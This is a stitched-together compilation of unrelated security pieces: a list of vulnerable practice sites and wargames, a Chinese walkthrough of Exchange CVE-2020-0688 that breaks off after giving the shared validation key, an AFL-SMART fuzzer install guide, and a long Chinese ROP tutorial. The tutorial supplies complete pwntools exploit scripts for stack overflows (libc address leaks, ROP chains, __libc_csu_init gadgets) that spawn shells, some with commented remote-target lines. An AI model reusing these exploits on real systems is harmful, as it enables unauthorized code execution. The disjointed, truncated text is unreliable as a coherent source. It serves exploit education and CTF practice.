Webapp Specific

http://demo.testfire.net/
http://wocares.com/xsstester.php
http://crackme.cenzic.com/
http://test.acunetix.com/
http://zero.webappsecurity.com/

Forensics Specific

http://computer-forensics.sans.org/community/challenges
http://computer-forensics.sans.org/community/challenges
http://forensicscontest.com/

Recruiting

https://www.praetorian.com/challenges/pwnable/
http://rtncyberjobs.com/
http://0x41414141.com/
Paid Training

http://heorot.net/
Downloadable Offline Games

http://www.badstore.net/
http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
http://www.owasp.org/index.php/Owasp_SiteGenerator
Damn Vulnerable Web App
Stanford SecureBench
Stanford SecureBench Micro
http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

Virtual Machines

https://pentesterlab.com/exercises/
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Damn Vulnerable Linux (not currently live? local mirror)

Inactive or Gone

Just around for historical sake, or on the off-chance they come back.

http://rootcontest.com/
http://intruded.net/
https://how2hack.net
WebMaven (Buggy Bank)
http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm
http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm
http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm
http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm
http://hackme.ntobjectives.com/
http://testphp.acunetix.com/
http://testasp.acunetix.com/Default.asp
http://prequals.nuitduhack.com
http://www.gat3way.eu/index.php (Russian)
http://exploit-exercises.com/ (challenges mirrored on vulnhub)
http://damo.clanteam.com/
http://p6drad-teel.net/~windo/wargame/
http://roothack.org/
http://ha.ckers.org/challenge/
http://ha.ckers.org/challenge2/
http://www.dc3.mil/challenge/

微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)

本周二,微软发布了一个Important级别的补丁,解决了Microsoft Exchange Server中的远程代码执行错误。此漏洞是由一位匿名研究人员报告给我们的,它影响了Microsoft Exchange Server的所有版本,直到周二的补丁才被修复。下面是这个漏洞的一个快速演示视频:

https://youtu.be/7d_HoQ0LVy8

最初,微软表示这个漏洞是由于内存损坏而造成的,攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。而目前他们已经修改了原始库,指出这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。

具体来说,漏洞是在Exchange Control Panel (ECP)组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKeydecryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。

验证秘钥截图

为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。

首先,进入/ecp/default.aspx页面并登录。所使用的帐户不需要任何高权限。在以下例子中,我们使用了一个名为user的帐户:

登录获取一般权限下的登录凭证
接着,我们需要收集一些信息。最重要的数据我们已经知道:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

aflsmart小试

AFL-SMART 安装指南

AFL-SMART是一款结合Peach和AFL模式的模糊测试工具,科普下Peach和AFL两款工具

AFL是由美国谷歌公司安全研究人员开发的一款基于代码覆盖率的模糊测试工具,其核心部件是AFL-gcc 或 AFL-g++在编译器层面对代码进行插装,通过监控程序执行流程来实现对代码覆盖率的评估。AFL采用基于基于源码的插装模式进行模糊测试,在变异模块采用基于bit翻转、实现对crash结果的细节与动态跟踪,总而言之是一款优秀的灰盒测试工具

Peach是由美国Peach.tech公司开发的基于协议模糊测试工具,主要采用XML文件描述协议和文件格式

安装依赖

系统依赖安装

安装python、libtool、g++依赖包,基于ubuntu系统安装

1
sudo apt-get install build-essential automake libtool libc6-dev-i386 python-pip g++-multilib

如果在安装中出现python-pip版本问题:

1
2
3
4
5
6
7
8
9
10
The following information may help to resolve the situation:

The following packages have unmet dependencies:
python-pip : Depends: python-colorama but it is not going to be installed
Depends: python-distlib but it is not going to be installed
Depends: python-pip-whl (= 1.5.4-1ubuntu4) but 20.0.2-5ubuntu1.6 is to be installed
Depends: python-requests but it is not going to be installed
Recommends: python-dev-all (>= 2.6) but it is not installable
Recommends: python-wheel but it is not going to be installed
E: Unable to correct problems, you have held broken packages.

(1)该问题是由于python-pip已经安装好,不需要再二次安装,直接在apt-get中去掉python-pip即可。

1
sudo apt-get install build-essential automake libtool libc6-dev-i386 g++-multilib

(2)安装支持C#的工具包;

1
sudo apt-get install mono-complete

(3)安装gcc和g++ 4.4版支持工具;

1
2
3
4
sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt-get update
sudo apt install gcc-4.4
sudo apt install g++-4.4

安装aflsmart文件

从github拉取工程文件,依次执行命令。

1
2
3
4
5
6
7
git clone https://github.com/aflsmart/aflsmart
cd aflsmart
make clean all
cd ..

export AFLSMART=$(pwd)/aflsmart
export WORKDIR=$(pwd)

安装peach文件

进入目录中,安装peach文件,修改部分cs文件,然后利用waf文件编译整个文件并安装。

1
2
3
4
5
6
7
cd $AFLSMART
wget https://sourceforge.net/projects/peachfuzz/files/Peach/3.0/peach-3.0.202-source.zip
unzip peach-3.0.202-source.zip
patch -p1 < peach-3.0.202.patch
cd peach-3.0.202-source
CC=gcc-4.4 CXX=g++-4.4 ./waf configure
CC=gcc-4.4 CXX=g++-4.4 ./waf install

设置系统环境变量

主要设置aflsmart运行目录、peach运行目录以及相关全局变量。

1
2
cd $AFLSMART
source $AFLSMART/setup_env.sh

详细使用方法

命令如下:

1
afl-fuzz -h -i in -o out -w peach -g <input model file> -x <dictionary file> <executable binary and its arguments> @@

  1. -h -i in :表示输入用in出入方法, -o out 表示使用标准输出方式
  2. -w peach 表示使用peach成成的目录,后跟的 -g <输入xml文件> ,-x表示输出字典文件、以及可执行文件名称、执行命令
  3. @@ 表示后台执行

测试实例

官方用法中只使用了wav测试作为例子使用

实例测试

官方例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(1)
root@vultr:~/aflsmart# sudo docker run -itd c26804edf98e /bin/bash
7d2ecfc25dab4d2b2c8915305c99ad5f8b0e9f848ccacf6ffb2ce031abe7c41c

docker exec -it c26804edf98e bash
docker exec –it bb244f620484 bash

(2)
root@vultr:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f81799889649 bb244f620484 "/bin/bash" 5 seconds ago Up 3 seconds pensive_spence




(3)
sudo docker attach f81799889649

一步一步学ROP之linux_x64篇

一、序

**ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。上次我们主要讨论了linux_x86的ROP攻击:《一步一步学ROP之linux_x86篇》,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习。

另外文中涉及代码可在我的github下载:https://github.com/zhengmin19...

二、Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击

注意,这一节是上一篇文章的补充,还是讲的x86的ROP。上次讲到了如何通过ROP绕过x86下DEP和ASLR防护。但是我们要事先得到目标机器上的libc.so或者具体的linux版本号才能计算出相应的offset。那么如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

1
2
3
4
5
6
7
8
9
10
11
12

$ readelf -S level2
There are 30 section headers, starting at offset 0x1148:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
……
[23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a020 001020 000008 00 WA 0 0 4
[26] .comment PROGBITS 00000000 001020 00002a 01 MS 0 0 1
……

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。PS:我们会在随后的章节中介绍如何用工具寻找更复杂的gadgets。

整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

执行结果如下:

#!bash
$ python exp4.py
[+] Started program ‘./level2’
0x8048000 => 7f454c46
[+] Loading from ‘/home/mzheng/CTF/level2’: Done
0x8049ff8 => 18697eb7
[+] Resolving ‘system’ in ‘libc.so’: 0xb77e6918
0x8049f28 => 01000000
0x8049f30 => 0c000000
0x8049f38 => 0d000000
0x8049f40 => f5feff6f
0x8049f48 => 05000000
0x8049f50 => 06000000
0x8049f58 => 0a000000
0x8049f60 => 0b000000
0x8049f68 => 15000000
0x8049f70 => 03000000
0x8049f74 => f49f0408
0xb77e691c => c5eb7db7
0xb77debc5 => 0069203d
0xb77e6924 => 086c7eb7
0xb77e6c0c => c5eb7db7
0xb77e6c14 => 58387cb7
0xb77c385c => 38387cb7
0xb77c3838 => 2f6c6962
0xb77c383c => 2f693338
0xb77c3840 => 362d6c69
0xb77c3844 => 6e75782d
0xb77c3848 => 676e752f
0xb77c384c => 6c696263
0xb77c3850 => 2e736f2e
0xb77c3854 => 36000000
0xb77c3858 => 007060b7
0xb7607000 => 7f454c46
0xb77c3860 => 7cdd7ab7
0xb7607004 => 01010100
0xb77add7c => 01000000
0xb77add84 => 0e000000
0xb77add8c => 0c000000
0xb77add94 => 19000000
0xb77add9c => 1b000000
0xb77adda4 => 04000000
0xb77addac => f5feff6f
0xb77addb0 => b87160b7
0xb77addb4 => 05000000
0xb77addb8 => 584161b7
0xb77addbc => 06000000
0xb77addc0 => 38ae60b7
0xb76071b8 => f3030000
0xb76071bc => 09000000
0xb76071c0 => 00020000
0xb7608390 => 8e050000
0xb7609fa8 => 8ae4ee1c
0xb7610718 => 562f0000
0xb76170ae => 73797374
0xb76170b2 => 656d0074
0xb761071c => 60f40300
system_addr=0xb7646460

###sending payload2 …###
[*] Switching to interactive mode
$ whoami
mzheng
三、linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。

我们还是拿实际程序做例子进行讲解,level3.c内容如下:

#!c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void callsystem()
{
system(“/bin/sh”);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, “Hello, World\n”, 13);
vulnerable_function();
}
我们打开ASLR并用如下方法编译:

#!bash
$ gcc -fno-stack-protector level3.c -o level3
通过分析源码,我们可以看到想要获取这个程序的shell非常简单,只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的,所以不用担心函数地址发生改变。接下来就是要找溢出点了。我们还是用老方法生成一串定位字符串:

#!bash
$python pattern.py create 150 > payload
$ cat payload
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然后运行gdb ./level3后输入这串字符串造成程序崩溃。

#!bash
(gdb) run < payload
Starting program: /home/mzheng/CTF/level3 < payload
Hello, World

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005b3 in vulnerable_function ()
奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

#!bash
(gdb) x/gx $rsp
0x7fffffffe188: 0x3765413665413565
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。

#!bash
$ python pattern.py offset 0x3765413665413565
hex pattern decoded as: e5Ae6Ae7
136
可以看到溢出点为136字节。我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针。

#!bash
python -c ‘print “A”*136+”ABCDEF\x00\x00”‘ > payload

(gdb) run < payload
Starting program: /home/mzheng/CTF/level1 < payload
Hello, World

Program received signal SIGSEGV, Segmentation fault.
0x0000464544434241 in ?? ()
可以看到我们已经成功的控制了PC的指针了。所以最终的exp如下:

#!python

#!/usr/bin/env python
from pwn import *

elf = ELF(‘level3’)

p = process(‘./level3’)

#p = remote(‘127.0.0.1’,10001)

callsystem = 0x0000000000400584

payload = “A”*136 + p64(callsystem)

p.send(payload)

p.interactive()
四、使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

ROPEME: https://github.com/packz/ropeme

Ropper: https://github.com/sashs/Ropper

ROPgadget: https://github.com/JonathanSa...

rp++: https://github.com/0vercl0k/rp

这些工具功能上都差不多,找一款自己能用的惯的即可。

下面我们结合例子来讲解,首先来看一下目标程序level4.c的源码:

#!c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>

void systemaddr()
{
void* handle = dlopen(“libc.so.6”, RTLD_LAZY);
printf(“%p\n”,dlsym(handle,”system”));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
systemaddr();
write(1, “Hello, World\n”, 13);
vulnerable_function();
}
编译方法:

#!bash
gcc -fno-stack-protector level4.c -o level4 -ldl
首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。

#!bash
$ ROPgadget –binary level4 –only “pop|ret”

Gadgets information

0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8
结果并不理想,因为程序比较小,在目标程序中并不能找到pop rdi; ret这个gadget。怎么办呢?解决方案是寻找libc.so中的gadgets。因为程序本身会load libc.so到内存中并且会打印system()的地址。所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。

#!bash
$ ROPgadget –binary libc.so.6 –only “pop|ret” | grep rdi
0x000000000001f27d : pop rdi ; pop rbp ; ret
0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret
0x0000000000073033 : pop rdi ; pop rbx ; ret
0x0000000000022a12 : pop rdi ; ret
这次我们成功的找到了“pop rdi; ret”这个gadget了。也就可以构造我们的ROP链了。

#!bash
payload = “\x00”*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
另外,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链。

#!bash
$ ROPgadget –binary libc.so.6 –only “pop|call” | grep rdi
0x000000000012da1d : call qword ptr [rdi]
0x0000000000187113 : call qword ptr [rdx + rdi + 0x8f10001]
0x00000000000f1f04 : call rdi
0x00000000000f4739 : pop rax ; pop rdi ; call rax
0x00000000000f473a : pop rdi ; call rax
通过搜索结果我们发现,0x00000000000f4739 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。

#!python
payload = “\x00”*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
所以说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可。最终exp如下:

#!python

#!/usr/bin/env python
from pwn import *

libc = ELF(‘libc.so.6’)

p = process(‘./level4’)

#p = remote(‘127.0.0.1’,10001)

binsh_addr_offset = next(libc.search(‘/bin/sh’)) -libc.symbols[‘system’]
print “binsh_addr_offset = “ + hex(binsh_addr_offset)

pop_ret_offset = 0x0000000000022a12 - libc.symbols[‘system’]
print “pop_ret_offset = “ + hex(pop_ret_offset)

#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols[‘system’]

#print “pop_pop_call_offset = “ + hex(pop_pop_call_offset)

print “\n##########receiving system addr##########\n”
system_addr_str = p.recvuntil(‘\n’)
system_addr = int(system_addr_str,16)
print “system_addr = “ + hex(system_addr)

binsh_addr = system_addr + binsh_addr_offset
print “binsh_addr = “ + hex(binsh_addr)

pop_ret_addr = system_addr + pop_ret_offset
print “pop_ret_addr = “ + hex(pop_ret_addr)

#pop_pop_call_addr = system_addr + pop_pop_call_offset

#print “pop_pop_call_addr = “ + hex(pop_pop_call_addr)

p.recv()

payload = “\x00”*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

#payload = “\x00”*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

print “\n##########sending payload##########\n”
p.send(payload)

p.interactive()
运行结果如下:

#!bash
$ python exp6.py
[+] Started program ‘./level4’
binsh_addr_offset = 0x134d41
pop_ret_offset = -0x22d1e

##########receiving system addr##########

system_addr = 0x7f6f754d8730
binsh_addr = 0x7f6f7560d471
pop_ret_addr = 0x7f6f754b5a12

##########sending payload##########

[*] Switching to interactive mode
$ whoami
mzheng
五、通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

为了方便大家学习x64下的ROP,level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:

#!c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, “Hello, World\n”, 13);
vulnerable_function();
}
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

#!bash
00000000004005a0 <libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <
init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <
libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

#!bash

#rdi= edi = r13, rsi = r14, rdx = r15

#write(rdi=1, rsi=write.got, rdx=4)
payload1 = “\x00”136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload1 += “\x00”*56
payload1 += p64(main)
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。

#!bash

#rdi= edi = r13, rsi = r14, rdx = r15

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = “\x00”136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload2 += “\x00”*56
payload2 += p64(main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

#!bash

#rdi= edi = r13, rsi = r14, rdx = r15

#system(rdi = bss_addr+8 = “/bin/sh”)
payload3 = “\x00”136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload3 += “\x00”*56
payload3 += p64(main)
最终exp如下:

#!python

#!/usr/bin/env python
from pwn import *

elf = ELF(‘level5’)
libc = ELF(‘libc.so.6’)

p = process(‘./level5’)

#p = remote(‘127.0.0.1’,10001)

got_write = elf.got[‘write’]
print “got_write: “ + hex(got_write)
got_read = elf.got[‘read’]
print “got_read: “ + hex(got_read)

main = 0x400564

off_system_addr = libc.symbols[‘write’] - libc.symbols[‘system’]
print “off_system_addr: “ + hex(off_system_addr)

#rdi= edi = r13, rsi = r14, rdx = r15

#write(rdi=1, rsi=write.got, rdx=4)
payload1 = “\x00”136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload1 += “\x00”*56
payload1 += p64(main)

p.recvuntil(“Hello, World\n”)

print “\n#############sending payload1#############\n”
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print “write_addr: “ + hex(write_addr)

system_addr = write_addr - off_system_addr
print “system_addr: “ + hex(system_addr)

bss_addr=0x601028

p.recvuntil(“Hello, World\n”)

#rdi= edi = r13, rsi = r14, rdx = r15

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = “\x00”136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload2 += “\x00”*56
payload2 += p64(main)

print “\n#############sending payload2#############\n”
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send(“/bin/sh\0”)
sleep(1)

p.recvuntil(“Hello, World\n”)

#rdi= edi = r13, rsi = r14, rdx = r15

#system(rdi = bss_addr+8 = “/bin/sh”)
payload3 = “\x00”136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx
8]
payload3 += “\x00”*56
payload3 += p64(main)

print “\n#############sending payload3#############\n”

sleep(1)
p.send(payload3)

p.interactive()
要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。最终执行结果如下:

#!bash
$ python exp7.py
[+] Started program ‘./level5’
got_write: 0x601000
got_read: 0x601008
off_system_addr: 0xa1c40

#############sending payload1#############

write_addr: 0x7f79d5779370
system_addr: 0x7f79d56d7730

#############sending payload2#############

#############sending payload3#############

[*] Switching to interactive mode
$ whoami
mzheng
六、EDB调试器
我们在学习Linux ROP的过程中一定少不了调试这一环节,虽然gdb的功能很强大,但命令行界面对很多人来说并不友好。很多学习Windows调试的人用惯了ollydbg再接触gdb的话总感觉很难上手。其实在linux下也有类似于ollydbg的调试工具,那就是EDB-debugger。这里给出edb的下载地址,具体的编译请参考readme:EDB-debugger https://github.com/eteran/edb...

